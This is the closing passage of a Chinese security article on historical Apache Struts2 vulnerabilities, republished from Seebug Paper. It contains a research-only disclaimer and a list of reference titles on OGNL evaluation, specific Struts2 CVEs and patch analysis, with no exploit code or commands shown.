本仓库所包含的 Struts2 历史漏洞信息仅供学习和研究目的。这些漏洞早已存在并在互联网上公开,旨在帮助深入研究和提升对 Web 应用安全性的理解。任何形式的非法攻击行为均严格禁止。

我们不对任何人因使用本仓库的信息而导致的非法活动承担责任。用户应遵守适用的法律法规,并在进行安全研究时恪守道德和法律规定。请谨慎使用这些漏洞信息,并确保在任何测试和研究活动中遵循法律和道德准则。

6.参考链接

[1] 浅析OGNL表达式求值

[2] Struts2 S2-020在Tomcat 8下的命令执行分析

[3] S2-066 补丁对比

[4] CVE-2018-11776: How to find 5 RCEs in Apache Struts with CodeQL

[5] 演示视频

[6] GitHub 仓库

[7]Apache Struts 2 Wiki

[8] Struts2 系列漏洞调试总结

[9] Struts2-Vuln-Demo


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3086/


文章来源: https://paper.seebug.org/3086/
如有侵权请联系:admin#unsafe.sh